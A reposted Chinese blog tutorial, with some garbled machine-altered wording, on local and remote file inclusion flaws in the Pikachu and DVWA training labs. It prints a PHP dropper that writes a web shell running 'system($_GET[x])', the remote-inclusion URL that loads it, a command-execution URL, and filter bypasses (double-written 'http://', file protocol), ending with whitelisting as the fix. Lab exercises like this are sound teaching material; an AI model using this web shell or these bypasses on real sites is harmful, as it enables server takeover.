首页 » SEO优化 » phpfnmatch技巧_pikachuFiles Inclusion文件包含马脚

phpfnmatch技巧_pikachuFiles Inclusion文件包含马脚

访客 2024-11-21 0

扫一扫用手机浏览

文章目录 [+]

但有些时候,由于网站功能需求,会让前端用户选择须要包含的文件(或者在前真个功能中利用了“包含”功能),又由于开拓职员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修正文件的位置来让后台实行任意文件(代码)。

分为: 本地文件包含 和 远程文件包含

phpfnmatch技巧_pikachuFiles Inclusion文件包含马脚

phpfnmatch技巧_pikachuFiles Inclusion文件包含马脚
(图片来自网络侵删)
本地文件包含:

我们在 pikachu 平台上先对本地文件包含进行测试,

可以看到是 传了一个文件名到后台,后台会指定的目标文件进行对应的操作(这些文件都是后台自己存在的文件)。

我们不雅观察源码:没有进行限定,也没有设置白名单。

远程文件包含:

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。

远程包含漏洞条件:如果利用 includer 和 require ,则须要 php.ini 配置如下:

allow_url_fopen = on

allow_url_include = on 如图所示

在 Pikachu 上,远程文件包含这里,同样是通过通报一个文件名进行包含的

我们把它改成一个攻击者做事器上的恶意代码。
再/WWW/pikachu/下新建一个yijuhua.txt文件,内容为:

<?php$myfile = fopen("yijuhua.php", "w");$txt = '<?php system($_GET[x]);?>';fwrite($myfile, $txt);fclose($myfile);?>

然后把 filename 后面的参数改发展途文件的地址,http://192.168.35.132/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.35.132/pikachu/yijuhua.txt&submit=提交

提交之后我们的远程做事器上会多出一个文件,

这时候我们就可以利用我们上传的 php 文件进行干系的操作:http://192.168.35.132/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig

比如用菜刀进行连接,由于这是get型,可以直接再url中输入命令对其进行掌握。

这里的文件包含漏洞里DVWA也有,防护的情形也多一点点。

比如:

1.增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”更换为空字符,即删除。

但是还是不屈安的,由于可以利用双写绕过更换规则。
例如page=htthttp://p://时,str_replace函数会将http://删除,于是page=http://,成功实行远程命令。

2.利用了fnmatch函数检讨page参数,哀求page参数的开头必须是file,做事器才会去包含相应的文件。

看似安全,我们依然可以利用file协议绕过防护策略

3.末了利用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

原文转自:https://www.cnblogs.com/qi-yuan/p/12545827.html

标签:

相关文章